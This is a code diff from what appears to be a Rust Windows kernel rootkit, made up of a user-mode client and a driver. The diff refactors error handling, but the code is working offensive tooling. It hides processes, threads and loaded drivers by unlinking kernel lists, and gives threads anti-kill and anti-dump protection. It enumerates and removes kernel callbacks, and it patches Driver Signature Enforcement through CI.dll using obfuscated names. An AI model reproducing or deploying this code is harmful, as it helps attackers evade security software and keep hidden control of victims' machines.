0,
|
||||
&mut return_buffer,
|
||||
null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
} else {
|
||||
if enable {
|
||||
println!("[+] Process with TID {tid} successfully hidden");
|
||||
} else {
|
||||
println!("[+] Process with TID {tid} successfully unhidden");
|
||||
}
|
||||
|
||||
}
|
||||
} else {
|
||||
println!("[-] TID not supplied");
|
||||
}
|
||||
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
}
|
||||
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
pub fn protection_thread(tid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
let status;
|
||||
|
||||
if let Some(tid_value) = tid {
|
||||
let mut return_buffer = 0;
|
||||
let tid = *tid_value as usize;
|
||||
let mut target_process = shared::structs::ThreadProtection {
|
||||
tid,
|
||||
enable
|
||||
};
|
||||
|
||||
status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut target_process as *mut _ as *mut c_void,
|
||||
std::mem::size_of::<shared::structs::ThreadProtection>() as u32,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut return_buffer,
|
||||
null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
} else {
|
||||
if enable {
|
||||
println!("[+] Thread TID {tid} with anti-kill and dumping functions enabled");
|
||||
} else {
|
||||
println!("[+] Thread TID {tid} with anti-kill and dumping functions disabled");
|
||||
}
|
||||
|
||||
}
|
||||
} else {
|
||||
println!("[-] TID not supplied");
|
||||
}
|
||||
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
}
|
||||
|
||||
pub fn enumerate_thread(ioctl_code: u32, option: &Options) {
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
let mut info_thread: [ThreadListInfo; MAX_TIDS] = unsafe { std::mem::zeroed() };
|
||||
let mut enumeration_input = EnumerateInfoInput {
|
||||
options: option.to_shared()
|
||||
};
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut enumeration_input as *mut _ as *mut c_void,
|
||||
size_of::<EnumerateInfoInput>() as u32,
|
||||
info_thread.as_mut_ptr() as *mut _,
|
||||
(info_thread.len() * size_of::<ThreadListInfo>()) as u32,
|
||||
&mut return_buffer,
|
||||
null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
} else {
|
||||
let total_process = return_buffer as usize / size_of::<ThreadListInfo>();
|
||||
println!("[+] Total Threads: {}", total_process);
|
||||
for i in 0..total_process {
|
||||
if info_thread[i].tids > 0 {
|
||||
println!("[{}] {}", i, info_thread[i].tids);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
}
|
||||
@@ -1,7 +1,36 @@
|
||||
use std::path::Path;
|
||||
|
||||
use std::{path::Path, ptr::null_mut};
|
||||
use windows_sys::{
|
||||
w,
|
||||
Win32::{
|
||||
Foundation::{GetLastError, GENERIC_READ, GENERIC_WRITE, HANDLE, INVALID_HANDLE_VALUE},
|
||||
Storage::FileSystem::{CreateFileW, FILE_ATTRIBUTE_NORMAL, OPEN_EXISTING}
|
||||
}
|
||||
};
|
||||
|
||||
pub fn check_file(file: &String) -> bool {
|
||||
let file = Path::new(file);
|
||||
file.exists()
|
||||
}
|
||||
|
||||
pub fn open_driver() -> Result<HANDLE, ()> {
|
||||
log::info!("Opening driver handle");
|
||||
let h_file = unsafe {
|
||||
CreateFileW(
|
||||
w!("\\\\.\\shadow"),
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
0,
|
||||
null_mut(),
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
0
|
||||
)
|
||||
};
|
||||
|
||||
if h_file == INVALID_HANDLE_VALUE {
|
||||
log::error!("CreateFileW failed with error: {:?}", unsafe { GetLastError() });
|
||||
return Err(());
|
||||
}
|
||||
|
||||
log::info!("Driver handle successfully opened");
|
||||
Ok(h_file)
|
||||
}
|
||||
|
||||
7
crates/shadowx/Cargo.toml
Normal file
7
crates/shadowx/Cargo.toml
Normal file
@@ -0,0 +1,7 @@
|
||||
[package]
|
||||
name = "shadowx"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
wdk-sys = "0.2.0"
|
||||
3
crates/shadowx/src/lib.rs
Normal file
3
crates/shadowx/src/lib.rs
Normal file
@@ -0,0 +1,3 @@
|
||||
fn main() {
|
||||
println!("Hello, world!");
|
||||
}
|
||||
@@ -1,35 +1,50 @@
|
||||
use {
|
||||
alloc::boxed::Box,
|
||||
hashbrown::HashMap,
|
||||
crate::{handle_callback, utils::ioctls::IoctlHandler},
|
||||
wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS},
|
||||
shared::{
|
||||
ioctls::{IOCTL_ENUMERATE_CALLBACK, IOCTL_ENUMERATE_REMOVED_CALLBACK, IOCTL_REMOVE_CALLBACK, IOCTL_RESTORE_CALLBACK},
|
||||
ioctls::{
|
||||
IOCTL_ENUMERATE_CALLBACK, IOCTL_ENUMERATE_REMOVED_CALLBACK,
|
||||
IOCTL_REMOVE_CALLBACK, IOCTL_RESTORE_CALLBACK
|
||||
},
|
||||
structs::{CallbackInfoInput, CallbackInfoOutput}
|
||||
},
|
||||
wdk_sys::{IO_STACK_LOCATION, IRP},
|
||||
crate::{handle_callback, utils::ioctls::IoctlHandler},
|
||||
};
|
||||
|
||||
pub fn get_callback_ioctls(ioctls: &mut HashMap<u32, IoctlHandler> ) {
|
||||
|
||||
// Lists callbacks.
|
||||
// Lists Callbacks.
|
||||
ioctls.insert(IOCTL_ENUMERATE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ENUMERATE_CALLBACK");
|
||||
|
||||
let mut information = 0;
|
||||
let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_CALLBACK) };
|
||||
|
||||
unsafe { (*irp).IoStatus.Information = information as u64 };
|
||||
status
|
||||
|
||||
match status {
|
||||
Ok(_) => STATUS_SUCCESS,
|
||||
Err(err_code) => err_code
|
||||
}
|
||||
}) as IoctlHandler);
|
||||
|
||||
// ?
|
||||
// List Callbacks Removed.
|
||||
ioctls.insert(IOCTL_ENUMERATE_REMOVED_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ENUMERATE_REMOVED_CALLBACK");
|
||||
|
||||
let mut information = 0;
|
||||
let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_REMOVED_CALLBACK) };
|
||||
|
||||
unsafe { (*irp).IoStatus.Information = information as u64 };
|
||||
status
|
||||
|
||||
match status {
|
||||
Ok(_) => STATUS_SUCCESS,
|
||||
Err(err_code) => err_code
|
||||
}
|
||||
}) as IoctlHandler);
|
||||
|
||||
// Remove a callback.
|
||||
// Remove Callback.
|
||||
ioctls.insert(IOCTL_REMOVE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_REMOVE_CALLBACK");
|
||||
let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_REMOVE_CALLBACK) };
|
||||
@@ -37,7 +52,7 @@ pub fn get_callback_ioctls(ioctls: &mut HashMap<u32, IoctlHandler> ) {
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
// ?
|
||||
// Restore Callback.
|
||||
ioctls.insert(IOCTL_RESTORE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_RESTORE_CALLBACK");
|
||||
let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_RESTORE_CALLBACK) };
|
||||
|
||||
@@ -59,7 +59,7 @@ pub trait CallbackList {
|
||||
/// # Returns
|
||||
/// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
|
||||
///
|
||||
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS;
|
||||
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS>;
|
||||
|
||||
/// List of callbacks currently removed.
|
||||
///
|
||||
@@ -71,7 +71,7 @@ pub trait CallbackList {
|
||||
/// # Returns
|
||||
/// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
|
||||
///
|
||||
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS;
|
||||
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS>;
|
||||
}
|
||||
|
||||
/// Structure representing the Callback.
|
||||
@@ -126,17 +126,13 @@ impl CallbackList for Callback {
|
||||
STATUS_SUCCESS
|
||||
}
|
||||
|
||||
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS {
|
||||
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
|
||||
let address = match find_callback_address(&(*target_callback).callback) {
|
||||
Some(CallbackResult::PsCreate(addr)) => addr,
|
||||
_ => return STATUS_UNSUCCESSFUL,
|
||||
};
|
||||
|
||||
let (mut ldr_data, module_count) = match return_module() {
|
||||
Some(result) => result,
|
||||
None => return STATUS_UNSUCCESSFUL
|
||||
_ => return Err(STATUS_UNSUCCESSFUL),
|
||||
};
|
||||
|
||||
let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?;
|
||||
let start_entry = ldr_data;
|
||||
|
||||
for i in 0..64 {
|
||||
@@ -182,17 +178,13 @@ impl CallbackList for Callback {
|
||||
ldr_data = start_entry;
|
||||
}
|
||||
|
||||
STATUS_SUCCESS
|
||||
Ok(())
|
||||
}
|
||||
|
||||
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS {
|
||||
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
|
||||
let callback_restaure = INFO_CALLBACK_RESTAURE.lock();
|
||||
|
||||
let (mut ldr_data, module_count) = match return_module() {
|
||||
Some(result) => result,
|
||||
None => return STATUS_UNSUCCESSFUL
|
||||
};
|
||||
|
||||
let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?;
|
||||
let start_entry = ldr_data;
|
||||
|
||||
for (i, callback) in callback_restaure.iter().enumerate() {
|
||||
@@ -230,7 +222,7 @@ impl CallbackList for Callback {
|
||||
ldr_data = start_entry;
|
||||
}
|
||||
|
||||
STATUS_SUCCESS
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
@@ -277,6 +269,7 @@ impl CallbackList for CallbackRegistry {
|
||||
log::error!("Callback not found for type {:?} at index {}", callback_type, index);
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
STATUS_SUCCESS
|
||||
}
|
||||
|
||||
@@ -329,18 +322,15 @@ impl CallbackList for CallbackRegistry {
|
||||
STATUS_UNSUCCESSFUL
|
||||
}
|
||||
|
||||
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS {
|
||||
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
|
||||
let (callback_list_header, callback_count, callback_list_lock) = match find_callback_address(&(*target_callback).callback) {
|
||||
Some(CallbackResult::Registry(addr)) => addr,
|
||||
_ => return STATUS_UNSUCCESSFUL,
|
||||
_ => return Err(STATUS_UNSUCCESSFUL),
|
||||
};
|
||||
|
||||
let count = *(callback_count as *mut u32) + 1;
|
||||
let mut pcm_callback = callback_list_header as *mut CM_CALLBACK;
|
||||
let (mut ldr_data, module_count) = match return_module() {
|
||||
Some(result) => result,
|
||||
None => return STATUS_UNSUCCESSFUL
|
||||
};
|
||||
let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?;
|
||||
let start_entry = ldr_data;
|
||||
|
||||
ExAcquirePushLockExclusiveEx(callback_list_lock as _, 0);
|
||||
@@ -388,16 +378,13 @@ impl CallbackList for CallbackRegistry {
|
||||
|
||||
ExReleasePushLockExclusiveEx(callback_list_lock as _, 0);
|
||||
|
||||
STATUS_SUCCESS
|
||||
Ok(())
|
||||
}
|
||||
|
||||
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS {
|
||||
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
|
||||
let callback_restaure = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
|
||||
|
||||
let (mut ldr_data, module_count) = match return_module() {
|
||||
Some(result) => result,
|
||||
None => return STATUS_UNSUCCESSFUL
|
||||
};
|
||||
let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?;
|
||||
|
||||
let start_entry = ldr_data;
|
||||
|
||||
@@ -434,7 +421,7 @@ impl CallbackList for CallbackRegistry {
|
||||
ldr_data = start_entry;
|
||||
}
|
||||
|
||||
STATUS_SUCCESS
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
@@ -534,10 +521,10 @@ impl CallbackList for CallbackOb {
|
||||
STATUS_UNSUCCESSFUL
|
||||
}
|
||||
|
||||
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS {
|
||||
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
|
||||
let object_type = match find_callback_address(&(*target_callback).callback) {
|
||||
Some(CallbackResult::ObRegister(addr)) => addr,
|
||||
_ => return STATUS_UNSUCCESSFUL,
|
||||
_ => return Err(STATUS_UNSUCCESSFUL),
|
||||
};
|
||||
|
||||
let current = &mut ((*object_type).callback_list) as *mut _ as *mut OBCALLBACK_ENTRY;
|
||||
@@ -559,11 +546,7 @@ impl CallbackList for CallbackOb {
|
||||
next = (*next).callback_list.Flink as *mut OBCALLBACK_ENTRY;
|
||||
}
|
||||
|
||||
let (mut ldr_data, module_count) = match return_module() {
|
||||
Some(result) => result,
|
||||
None => return STATUS_UNSUCCESSFUL
|
||||
};
|
||||
|
||||
let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?;
|
||||
let start_entry = ldr_data;
|
||||
let mut current_index = 0;
|
||||
|
||||
@@ -612,17 +595,13 @@ impl CallbackList for CallbackOb {
|
||||
ldr_data = start_entry;
|
||||
}
|
||||
|
||||
STATUS_SUCCESS
|
||||
Ok(())
|
||||
}
|
||||
|
||||
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS {
|
||||
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
|
||||
let callback_restaure = INFO_CALLBACK_RESTAURE_OB.lock();
|
||||
|
||||
let (mut ldr_data, module_count) = match return_module() {
|
||||
Some(result) => result,
|
||||
None => return STATUS_UNSUCCESSFUL
|
||||
};
|
||||
|
||||
let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?;
|
||||
let start_entry = ldr_data;
|
||||
|
||||
for (i, callback) in callback_restaure.iter().enumerate() {
|
||||
@@ -661,6 +640,6 @@ impl CallbackList for CallbackOb {
|
||||
ldr_data = start_entry;
|
||||
}
|
||||
|
||||
STATUS_SUCCESS
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
@@ -1,14 +1,10 @@
|
||||
use {
|
||||
alloc::boxed::Box,
|
||||
hashbrown::HashMap,
|
||||
shared::{ioctls::{IOCTL_ENUMERATE_DRIVER, IOCTL_HIDE_UNHIDE_DRIVER}, structs::{DriverInfo, TargetDriver}},
|
||||
wdk_sys::{IO_STACK_LOCATION, IRP},
|
||||
crate::{driver::Driver, handle_driver, utils::ioctls::IoctlHandler},
|
||||
crate::{driver::Driver, handle_driver, utils::ioctls::IoctlHandler}, alloc::boxed::Box, hashbrown::HashMap, shared::{ioctls::{IOCTL_ENUMERATE_DRIVER, IOCTL_HIDE_UNHIDE_DRIVER}, structs::{DriverInfo, TargetDriver}}, wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS}
|
||||
};
|
||||
|
||||
pub fn get_driver_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
|
||||
// Hiding a driver from loaded modules.
|
||||
// Hiding / Unhiding a driver from loaded modules.
|
||||
ioctls.insert(IOCTL_HIDE_UNHIDE_DRIVER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_HIDE_UNHIDE_DRIVER");
|
||||
let status = unsafe { handle_driver!(stack, Driver::driver_toggle, TargetDriver) };
|
||||
@@ -19,9 +15,15 @@ pub fn get_driver_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
// Enumerate active drivers on the system.
|
||||
ioctls.insert(IOCTL_ENUMERATE_DRIVER, Box::new(|irp: *mut IRP, _: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ENUMERATE_DRIVER");
|
||||
|
||||
let mut information = 0;
|
||||
let status = unsafe { handle_driver!(irp, Driver::enumerate_driver, DriverInfo, &mut information) };
|
||||
|
||||
unsafe { (*irp).IoStatus.Information = information as u64 };
|
||||
status
|
||||
|
||||
match status {
|
||||
Ok(_) => STATUS_SUCCESS,
|
||||
Err(err_code) => err_code
|
||||
}
|
||||
}) as IoctlHandler);
|
||||
}
|
||||
@@ -4,7 +4,7 @@ use {
|
||||
ntapi::ntldr::LDR_DATA_TABLE_ENTRY,
|
||||
core::sync::atomic::{AtomicPtr, Ordering},
|
||||
alloc::{string::String, vec::Vec, boxed::Box},
|
||||
crate::utils::{get_function_address, get_module_base_address, uni},
|
||||
crate::utils::{address::{get_function_address, get_module_base_address}, uni},
|
||||
shared::{
|
||||
structs::{
|
||||
DriverInfo, DSE, HiddenDriverInfo, LIST_ENTRY,
|
||||
@@ -67,14 +67,10 @@ impl Driver {
|
||||
|
||||
while next != current {
|
||||
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
|
||||
let buffer = core::slice::from_raw_parts(
|
||||
(*list_entry).BaseDllName.Buffer,
|
||||
((*list_entry).BaseDllName.Length / 2) as usize,
|
||||
);
|
||||
let buffer = core::slice::from_raw_parts((*list_entry).BaseDllName.Buffer, ((*list_entry).BaseDllName.Length / 2) as usize);
|
||||
|
||||
let name = String::from_utf16_lossy(buffer);
|
||||
if name.contains(driver_name) {
|
||||
log::info!("Driver found: {name}");
|
||||
let next = (*list_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||
let previous = (*list_entry).InLoadOrderLinks.Blink as *mut LDR_DATA_TABLE_ENTRY;
|
||||
let list = LIST_ENTRY {
|
||||
@@ -85,7 +81,6 @@ impl Driver {
|
||||
let mut driver_info = DRIVER_INFO_HIDE.lock();
|
||||
let list_ptr = Box::into_raw(Box::new(list));
|
||||
let driver_entry = Box::into_raw(Box::new(*list_entry));
|
||||
log::info!("Stored list entry at: {:?}", list_ptr);
|
||||
|
||||
driver_info.push(HiddenDriverInfo {
|
||||
name,
|
||||
@@ -117,17 +112,18 @@ impl Driver {
|
||||
///
|
||||
unsafe fn unhide_driver(driver_name: &String) -> NTSTATUS {
|
||||
let mut driver_info = DRIVER_INFO_HIDE.lock();
|
||||
|
||||
if let Some(index) = driver_info.iter().position(|p| p.name == driver_name.as_str()) {
|
||||
let driver = &driver_info[index];
|
||||
let list = driver.list_entry.load(Ordering::SeqCst);
|
||||
let driver_entry = driver.driver_entry.load(Ordering::SeqCst);
|
||||
if list.is_null() {
|
||||
let list_entry = driver.list_entry.load(Ordering::SeqCst);
|
||||
if list_entry.is_null() {
|
||||
log::error!("List entry stored in AtomicPtr is null");
|
||||
return STATUS_INVALID_PARAMETER;
|
||||
}
|
||||
|
||||
(*driver_entry).InLoadOrderLinks.Flink = (*list).Flink as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||
(*driver_entry).InLoadOrderLinks.Blink = (*list).Blink as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||
let driver_entry = driver.driver_entry.load(Ordering::SeqCst);
|
||||
(*driver_entry).InLoadOrderLinks.Flink = (*list_entry).Flink as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||
(*driver_entry).InLoadOrderLinks.Blink = (*list_entry).Blink as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||
|
||||
let next = (*driver_entry).InLoadOrderLinks.Flink; // Driver (3)
|
||||
let previous = (*driver_entry).InLoadOrderLinks.Blink; // Driver (1)
|
||||
@@ -137,7 +133,6 @@ impl Driver {
|
||||
|
||||
driver_info.remove(index);
|
||||
} else {
|
||||
log::info!("Driver ({driver_name}) Not found");
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
@@ -153,19 +148,17 @@ impl Driver {
|
||||
/// # Return
|
||||
/// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation.
|
||||
///
|
||||
pub unsafe fn enumerate_driver(driver_info: *mut DriverInfo, information: &mut usize) -> NTSTATUS {
|
||||
log::info!("Starting module enumeration");
|
||||
|
||||
pub unsafe fn enumerate_driver(driver_info: *mut DriverInfo, information: &mut usize) -> Result<(), NTSTATUS> {
|
||||
let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList"));
|
||||
let func = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY;
|
||||
let ldr_data = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY;
|
||||
|
||||
if func.is_null() {
|
||||
if ldr_data.is_null() {
|
||||
log::error!("PsLoadedModuleList is null");
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
return Err(STATUS_UNSUCCESSFUL);
|
||||
}
|
||||
|
||||
let current = func as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||
let mut next = (*func).InLoadOrderLinks.Flink;
|
||||
let current = ldr_data as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||
let mut next = (*ldr_data).InLoadOrderLinks.Flink;
|
||||
let mut count = 0;
|
||||
|
||||
while next != current {
|
||||
@@ -191,7 +184,7 @@ impl Driver {
|
||||
next = (*next).Flink;
|
||||
}
|
||||
|
||||
STATUS_SUCCESS
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Sets the DSE (Driver Signature Enforcement) status based on the information provided.
|
||||
@@ -202,16 +195,9 @@ impl Driver {
|
||||
/// # Return
|
||||
/// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation.
|
||||
///
|
||||
pub unsafe fn set_dse_state(info_dse: *mut DSE) -> NTSTATUS {
|
||||
let module_address = match get_module_base_address(obfstr!("CI.dll")) {
|
||||
Some(addr) => addr,
|
||||
None => return STATUS_UNSUCCESSFUL
|
||||
};
|
||||
let function_address = match get_function_address(obfstr!("CiInitialize"), module_address) {
|
||||
Some(addr) => addr,
|
||||
None => return STATUS_UNSUCCESSFUL,
|
||||
};
|
||||
|
||||
pub unsafe fn set_dse_state(info_dse: *mut DSE) -> Result<(), NTSTATUS> {
|
||||
let module_address = get_module_base_address(obfstr!("CI.dll")).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||
let function_address = get_function_address(obfstr!("CiInitialize"), module_address).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x89);
|
||||
|
||||
// mov ecx,ebp
|
||||
@@ -226,7 +212,6 @@ impl Driver {
|
||||
|
||||
let new_base = function_address.cast::<u8>().offset((position + 4) as isize);
|
||||
let c_ip_initialize = new_base.cast::<u8>().offset(offset as isize);
|
||||
log::info!("c_ip_initialize: {:?}", c_ip_initialize);
|
||||
|
||||
// mov rbp,r9
|
||||
let instructions = [0x49, 0x8b, 0xE9];
|
||||
@@ -252,7 +237,7 @@ impl Driver {
|
||||
}
|
||||
}
|
||||
|
||||
STATUS_SUCCESS
|
||||
Ok(())
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -2,16 +2,19 @@
|
||||
#![allow(dead_code)]
|
||||
|
||||
use {
|
||||
bitfield::bitfield,
|
||||
ntapi::ntpsapi::PPS_ATTRIBUTE_LIST,
|
||||
shared::structs::LIST_ENTRY,
|
||||
wdk_sys::*,
|
||||
winapi::ctypes::c_void
|
||||
bitfield::bitfield,
|
||||
winapi::ctypes::c_void,
|
||||
shared::structs::LIST_ENTRY,
|
||||
ntapi::ntpsapi::PPS_ATTRIBUTE_LIST,
|
||||
};
|
||||
|
||||
pub mod vad;
|
||||
|
||||
pub mod structs {
|
||||
use super::*;
|
||||
use shared::vars::Callbacks;
|
||||
use core::mem::ManuallyDrop;
|
||||
|
||||
#[repr(C)]
|
||||
pub struct FULL_OBJECT_TYPE {
|
||||
@@ -101,18 +104,11 @@ pub mod structs {
|
||||
shared, set_shared: 63, 4;
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
union ExPushLockUnion {
|
||||
struct_data: core::mem::ManuallyDrop<_EX_PUSH_LOCK>,
|
||||
value: u64,
|
||||
ptr: *mut c_void,
|
||||
}
|
||||
|
||||
bitfield! {
|
||||
pub struct PS_PROTECTION(u8);
|
||||
pub u8, type_, set_type_: 2, 0; // 3 bits
|
||||
pub u8, audit, set_audit: 3; // 1 bit
|
||||
pub u8, signer, set_signer: 7, 4; // 4 bits
|
||||
pub u8, type_, set_type_: 2, 0;
|
||||
pub u8, audit, set_audit: 3;
|
||||
pub u8, signer, set_signer: 7, 4;
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
@@ -131,6 +127,135 @@ pub mod structs {
|
||||
pub post_operation: u64,
|
||||
pub entry: u64,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct MMVAD_SHORT {
|
||||
pub vad_node: RTL_BALANCED_NODE,
|
||||
pub starting_vpn: u32,
|
||||
pub ending_vpn: u32,
|
||||
pub starting_vpn_high: u8,
|
||||
pub ending_vpn_high: u8,
|
||||
pub commit_charge_high: u8,
|
||||
pub spare_nt64_vad_uchar: u8,
|
||||
pub reference_count: i32,
|
||||
pub push_lock: usize,
|
||||
pub u: Uunion,
|
||||
pub u1: U1Union,
|
||||
pub u5: U5Union,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub union Uunion {
|
||||
pub long_flags: u32,
|
||||
pub vad_flags: ManuallyDrop<MMVAD_FLAGS>,
|
||||
pub private_vad_flags: ManuallyDrop<MM_PRIVATE_VAD_FLAGS>,
|
||||
pub graphics_vad_flags: ManuallyDrop<MM_GRAPHICS_VAD_FLAGS>,
|
||||
pub shared_vad_flags: ManuallyDrop<MM_SHARED_VAD_FLAGS>,
|
||||
pub volatile_long: u32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub union U1Union {
|
||||
pub long_flags1: u32,
|
||||
pub vad_flags1: ManuallyDrop<MMVAD_FLAGS1>,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub union U5Union {
|
||||
pub event_list_ulong_ptr: u64,
|
||||
pub starting_vpn_higher: u8,
|
||||
}
|
||||
|
||||
bitfield! {
|
||||
#[repr(C)]
|
||||
pub struct MM_PRIVATE_VAD_FLAGS(u32);
|
||||
impl Debug;
|
||||
impl Default;
|
||||
u32;
|
||||
pub lock, set_lock: 1;
|
||||
pub lock_contended, set_lock_contended: 1;
|
||||
pub delete_in_progress, set_delete_in_progress: 1;
|
||||
pub no_change, set_no_change: 1;
|
||||
pub vad_type, set_vad_type: 6, 4;
|
||||
pub protection, set_protection: 11, 7;
|
||||
pub preferred_node, set_preferred_node: 18, 12;
|
||||
pub page_size, set_page_size: 19, 20;
|
||||
pub private_memory_always_set, set_private_memory: 21;
|
||||
pub write_watch, set_write: 22;
|
||||
pub fixed_large_page_size, set_page_large: 23;
|
||||
pub zero_fill_pages_optional, set_zero_fill: 24;
|
||||
pub graphics, set_graphics: 25;
|
||||
pub enclave, set_enclave: 26;
|
||||
pub shadow_stack, set_shadow_stack: 27;
|
||||
pub physical_memory_pfns_referenced, set_physical: 28;
|
||||
}
|
